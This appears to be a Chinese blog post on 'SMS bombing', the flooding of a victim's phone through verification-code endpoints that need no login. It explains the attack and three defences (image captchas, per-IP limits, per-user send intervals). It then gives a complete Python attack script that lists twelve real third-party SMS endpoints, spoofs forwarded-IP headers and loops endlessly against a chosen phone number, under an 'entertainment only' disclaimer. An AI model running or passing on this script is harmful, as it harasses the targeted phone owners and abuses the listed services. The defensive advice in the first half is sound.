特别声明:
纯属个人娱乐开发,没有任何恶意,请勿滥用,代码见最后
该程序只是娱乐使用,共同学习,如果用于非法用途,后果自负。
短信验证码接口非常容易遭受互联网恶意攻击—“短信轰炸”,该攻击通过循环利用不同业务中的无需注册即可向任意手机号发送短信验证码的正常业务需求(如用户注册、密码修改等),向多个手机号码同时连续发送大量的验证短信,对用户造成困扰。下面对短信轰炸的原理进行具体分析,进而制定相应的安全防护方案。
1、短信轰炸原理
短信轰炸一般基于 WEB 方式,其由两个模块组成,包括:一个前端 Web 网页,提供输入被攻击者手机号码的输入窗口;一个后台攻击页面(如 PHP),利用从各个网站上找到的短信验证码 URL 和前端输入的被攻击者手机号码,发送 HTTP 请求,每次请求给用户发送一条短信验证码。
- 利用这两个模块实施“短信轰炸”攻击,原理具体分析如下:
- 恶意攻击者在前端页面(下图所示 )中输入被攻击者的手机号;
- 短信轰炸后台服务器,将该手机号与互联网收集的可不需要经过认证即可发送短信的 URL 进行组合,形成可发送验证码短信的 URL 请求;
- 通过后台请求页面,伪造用户的请求发给不同的业务服务器;
- 业务服务器收到该请求后,发送短信验证码到被攻击用户的手机上。
这个过程如下图 所示。
该攻击页面中主要采用 img src="’http://……’" / 来调用业务服务器短信发送的接口。如上图红框中内容所示:
在“短信轰炸”源代码中,利用img标签的 src 属性定义了可以请求发送验证码短信的 URL(如 gd.12530.com/….);
- 在其中的 phonenumber 字段中嵌入被攻击的手机号(如 13811111111)后,即可形成攻击 URL;
- 页面运行后,将其以 HTTP GET/POST 的方法提交给业务服务器;
- 业务服务器发送短信验证码到被攻击者的手机上,从而完成了短信轰炸。
2、相关安全防护方案
我们知道短信轰炸形成的原因是因为非授权的动态短信获取,如用户注册时的手机验证短信,在用户获取验证码短信前系统并不能建立业务关联。因此,在未建立业务关联的情况下,需要进一步严格限制保证业务使用的安全性。我们可以综合采用:增加图片验证码、IP请求次数限制、单用户请求间隔时长限制3个措施,来保障验证码短信接口的安全性。
措施一:使用安全的图片验证码
采用图片验证码可有效防止采用自动化工具调用验证码短信接口,即当用户进行“获取短信验证码”操作前,弹出图片验证码,要求用户输入验证码后,服务器端再发送验证短信到用户手机上。安全的图片验证码必须满足:
- 生成过程安全:图片验证码必须在服务器端进行产生与校验;
- 使用过程安全:单次有效,且以用户的验证请求为准;
- 验证码自身安全:不易被识别工具识别,能有效防止暴力破解。
措施二:单IP对验证码短信接口的请求次数限定
使用了图片验证码后,能防止攻击者对验证码短信接口的自动化调用;但若攻击者忽略图片验证码验证错误的情况,大量执行请求会给服务器带来额外负担,影响业务使用。此时可以在服务器端限制单个IP在单位时间内的请求次数,一旦用户请求次数(包括失败请求次数)超出设定的值,则暂停对该IP一段时间的请求;若情节特别严重,可以将IP加入黑名单,禁止该IP的访问请求。该措施能限制一个IP地址的大量请求,避免攻击者通过同一个IP对大量用户进行攻击,增加了攻击难度,保障了业务的正常开展。
措施三:单用户请求间隔时长限制
为进一步优化业务正常使用,可以采用限制重复发送短信验证码的间隔时长,即当单个用户请求发送一次短信验证码之后,服务器端锁定如:30秒后,才能进行第二次请求。该功能可进一步保障用户体验,并避免包含手工攻击恶意发送大量验证码短信。
3、攻击代码 Demo
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import re
import threading
import os
import random
import socket
import struct
import time
########################################
phone = "输入手机号"
########################################
# 短信接口API 请求间隔时间 备注 请求方式 请求参数 需要SESSION的先决请求URL以及Referer
APIList = [
["https://login.ceconline.com/thirdPartLogin.do", 60, "世界经理人", "POST",
{"mobileNumber": phone, "method": "getDynamicCode", "verifyType": "MOBILE_NUM_REG", "captcharType": "",
"time": str(int(time.time() * 1000))}, ""],
["http://www.ntjxj.com/InternetWeb/SendYzmServlet", 60, "机动车手机绑定", "POST", {"sjhm": phone},
"http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"],
["https://www.itjuzi.com/api/verificationCodes", 60, "IT橘子", "POST", {"account": phone}, ""],
["http://yifatong.com/Customers/gettcode", 60, "易法通", "GET", {"rnd": ("%0.3f" % (time.time())), "mobile": phone},
"http://yifatong.com/Customers/registration?url="],
["http://qydj.scjg.tj.gov.cn/reportOnlineService/login_login", 60, "天津企业登记", "POST", {'MOBILENO': phone, 'TEMP': 1},
""],
["http://www.shijiebang.com/a/mobile/vcode/", 120, "世界邦", "GET", {'key': phone}, "http://www.shijiebang.com/reg/"],
["http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=",
60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"],
["http://www.homekoo.com/zhixiao/zt_baoming_ajax_pc_new.php", 180, "尚品宅配", "POST",
{"action": "OK", "username": "吕布", "tel": phone, "qq": "", "province": "", "city": "", "kehu_tel_time": "",
"tg_id": "296", "sp_type": "986", "num_id": "5","zhuanti_pages": "http://www.homekoo.com/zhixiao/cuxiao/index.php", "prevurl": ""},
"http://www.homekoo.com/zhixiao/cuxiao/index.php"],
["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858"},
"http://jrh.financeun.com/Login/jrwLogin?web=jrw"],
["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 30,
"迪卡侬", "POST", {"countryCode": "CN", "mobile": phone}, "https://www.decathlon.com.cn/zh/create"],
["http://cta613.org/sendsms.php", 60, "支教", "POST", {"y": "1", "sj": phone}, ""],
["http://sns.qnzs.youth.cn/ajax/passportSendSms", 120, "青年之声", "POST", {"mobile": phone},
"http://sns.qnzs.youth.cn/user/passport"]
]
class initSMS(object):
"""docstring for initSMS"""
def __init__(self):
super(initSMS, self).__init__()
self.SMSList = []
self.intervalInfo = 0
def initBomb(self):
for x in APIList:
self.intervalInfo += 1
self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))
return self.SMSList
class SMSObject(object):
"""docstring for SMSObject""" # __var 私有成员变量
def __init__(self, url, interval, info, method, params, others, intervalInfo):
super(SMSObject, self).__init__()
self.__url = url
self.__interval = interval
self.__info = info
self.__intervalInfo = intervalInfo
self.__method = method
self.__params = params
self.__others = others
def getUrl(self):
return self.__url
def getInfo(self):
return self.__info
def getParams(self):
return self.__params
def getMethod(self):
return self.__method
def getOthers(self):
return self.__others
def getInterval(self):
return self.__interval
def getintervalInfo(self):
return self.__intervalInfo
def setintervalInfo(self, intervalInfo):
self.__intervalInfo = intervalInfo
class Bomb(object):
"""docstring for Bomb"""
def __init__(self):
super(Bomb, self).__init__()
self.HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',
'Referer': 'http://10.13.0.1',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
'cache-control': 'max-age=0',
"X-Requested-With": "XMLHttpRequest"
}
def send(self, SMS):
# return "SUCCESS"
IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
self.HEADERS['X-FORWARDED-FOR'] = IP
self.HEADERS['CLIENT-IP'] = IP
session = requests.Session()
if SMS.getOthers() != "":
session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
self.HEADERS['Referer'] = SMS.getOthers()
try:
if SMS.getMethod() == "GET":
req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)
else:
req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)
# print(req.url)
except Exception as e:
return str(e)
return "已发送"
if __name__ == '__main__':
print("接口数:" + str(len(APIList)))
SMSList = initSMS().initBomb()
switchOn = Bomb()
i = 0
currTime = 0
while True:
currTime += 1
# print(currTime)
for x in SMSList:
if x.getintervalInfo() == 0:
i += 1
info = switchOn.send(x)
print(str(i) + "." + x.getInfo() + " " + info)
x.setintervalInfo(x.getInterval())
else:
x.setintervalInfo(x.getintervalInfo() - 1)
time.sleep(1)
参考链接
- https://blog.csdn.net/mandaoduanxin/article/details/79279922
- https://blog.csdn.net/mandaoduanxin/article/details/79378205